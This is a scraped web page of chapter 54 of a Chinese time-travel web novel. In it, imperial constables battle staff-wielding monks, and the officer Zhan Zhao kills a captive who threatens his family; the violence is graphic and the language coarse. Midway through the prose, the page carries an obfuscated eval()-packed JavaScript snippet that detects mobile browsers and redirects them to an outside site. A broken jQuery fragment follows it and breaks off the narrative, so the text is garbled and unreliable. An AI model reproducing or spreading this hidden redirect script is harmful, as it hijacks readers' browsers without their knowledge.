54. 第五十四章

作品:《[七五]穿越日记

    紧绷到极致,砰的一声,弦断裂了。


    记忆模糊了,辨不清究竟是和尚先出的手,还是我们先出的手,反正某个瞬息间,兵戈骤然地剧烈交接到了一起。


    长棍非木棍,十八根长棍,俱铜棍。


    沉重的铜棍,扫到活人身上,筋骨断裂,皮开肉绽。


    打到脖颈上,当场颈椎断裂,哼都哼不出一声,人就没了。


    神他妈的我佛慈悲。


    这就是所谓的我佛慈悲???!!!!!!!


    老子这辈子都不信佛了。


    谁劝老子信佛,老子把谁的脑袋薅下来当球踢。


    先前真的是头羊效应,大环境里失了智了,才去随大流对着佛祖一叩首,再叩首,虔诚傻|逼地许愿祈求。


    当捕快这么多年,乡衙,县衙,州衙,府衙,帝都衙门,哪一级政|府没待过?真真忘了各地光鲜亮丽的佛祖金像怎么来得了?全他妈都是民脂民膏,平民百姓愚昧可怜的血汗钱。


    ……


    官兵结阵,朝廷暴力机器凝出磅礴的威慑感,初始时呈阶梯式递进,主试探敌我强弱。


    然后,前锋三位精锐形成正三角压制,外围战士负责补刀,刀刀致命,非死即残。


    负伤哪个,侧后方的战友立刻位移补位,掩护伤员退二线。


    在犯罪团伙渐显颓势后,官兵线形列阵变弧形,收缩围攻,后分而歼之。


    最终变幻成倒锥形阵法,彻底绞杀残余。


    衙门抓人,团战,大概流程皆是如此,万变不离其宗。


    “小心!”


    我冲过去补王朝的漏洞,实打实地替他受了一棍,虎口震得发麻,两臂几近麻木。


    双刀作剪,挡得格外狼狈,鲜血从额头的湿发中流了出来。


    “蹲下!”


    后方一个粗嗓门大吼,我配合地急速下蹲,下一刻,杜鹰与马汉自后方飞扑而出,高空猛虎扑羊,联手下斩,以两人合作之力,重创了五头秃驴,人仰马翻。


    防御阵法对围攻阵法,腥风血雨,僵持半盏茶的功夫,已过上百个回合。


    谁都难讨着好,我们这里重伤两个人,生死不明,轻伤挂彩十数人,对面更是死伤惨重。


    和尚终究只是享福的和尚,不是公家多年精炼、作战剽悍的官兵。


    又小半盏茶的时间,彻底不行了。


    “想逃?回寺庙?”


    王朝冷笑连连,马汉与他紧紧地背靠背,肩靠肩。


    森寒下令。


    “一个都不许放掉,通通捆作猪仔!若遇负隅顽抗者,不必留情,就地削断手筋!!!”


    “是!!!!!……”


    “……”


    我有些劫后余生的松弛感,肾上腺素高峰期过去了,缓过神来了,才意识到双臂已经钝痛到难以忍受,胸腔里的肺脏,剧烈呼吸到嗓子眼沙哑地疼。


    说话有些喑哑。


    腿脚酸软,走路都难以抬起来。


    脑袋一阵阵地眩晕,有鲜血顺着额头的碎发往下流,流到了眼睛里。


    难受。


    “你怎么样?”武官疾步走过来,查看伤势最严重的几个。


    “你与蒙厉悔先前孤军作战就已经负伤了,现在又遭了一阵生死线,更是伤上加伤。还能支撑么?还能支撑多久?能撑到进入及仙县官驿休息么?”


    他的问题有些多,语速也有些快,说实话,我有点反应不过来了。


    “大人……”


    “我姓展名昭,字熊飞。”他放缓了语气,着重强调了下,“熊飞。”


    扶我在一块大岩石坐下,温柔照料着,取水囊来,看我仰起颈来,慢慢地喝水、吞咽。


    “卑职没事。”


    我用袖子擦掉嘴巴上的水渍,脑袋渐渐回氧,远望着那劫后余生的母女俩。她们真是幸运极了,微乎其微的几率,遇到了下查地方的京畿官差。


    “卑职只是……脱力了,需要缓缓而已。”


    展昭看着我。


    “……你感受不到自己的脑袋被开瓢了么?”


    “放屁!”粗口脱口而出,我坚定地跟武官说,“开瓢我早就凉了!!!”


    “……”


    展昭递给我一条手绢。


    白丝绸绣小兰花。


    按耐着脾气,温和道:“有话好好说,不要骂人,骂人不好。明文你先擦擦头上的血。”


    我接过手绢往头一撸,整个手绢瞬间全染成了猩红。


    “雾草。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969111|193426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吓了一大跳。


    展昭忧心地问我:“现在你能感受到被开瓢了么?”


    他那表情,就差跟我说,有什么遗言赶快交代,回头结了案回京城,我帮你带给家人,以及汝妻子吾养之,汝可安心去也,云云了……


    我当真怔懵了几秒。


    常年司刑事重案,死这种事与我一直离得很近,但从未真切降临过。


    几秒钟的时间漫长得仿佛过了一万年,我努力回想了许久,竭尽所能控制心神镇定,不慌乱。


    “展大人……”


    “唤我熊飞。”


    “好,熊飞,我可以很明确地告诉你,我的脑袋没有挨棍子,这些血,大约是与和尚打架的时候摔到了石头上,不小心磕的……”


    他将信将疑,利眉紧拧,思虑着,唇紧抿成一条直线,不说话,情绪格外糟糕。有意识地情绪自控,勉强压抑着暴躁。


    “哈哈……”


    “哈哈哈哈……”


    旁边几头五花大绑的秃驴,好死不死,最不合时宜的时候,发出了尖锐的嘲笑,讨人厌地聒噪。


    “这般剽悍的武功,这般训练有素的作战阵法,你们不可能是寻常镖局……但甭管你们究竟是何方神圣,来自何方,都绝不应该得罪霖山寺!……”


    “佛祖信徒荫蔽天下,佛寺、佛庙遍及皇朝各方水土,盘根错节,根深势大,信徒磅礴,上牵豪绅贵族,下涉愚|民百姓。”


    “纵然你们自己不害怕,难道你们没有家人么?没有老人双亲么?没有妻子儿女,没有兄弟姐妹么?一个人犯的过错,要由全部的血亲来偿还!哈哈哈哈……”


    “你说什么?”展昭歪过头去看他,脸上平平淡淡,没有任何表情,“下官没有听清,可以再重复一遍么?”


    武僧的嘴唇再次蠕动起来。


    展昭走过去,当着所有俘虏的面,一掌拍裂开了这个武僧的头骨。


    “……”


    红白溢流,一片寂静。


    死一般的寂静。


    “……”


    通体寒透。


    杀神啊我|草。我以为这个人是没有脾气的,原来只是没有触及到他的雷区而已。


    和尚实在不该威胁他的家人。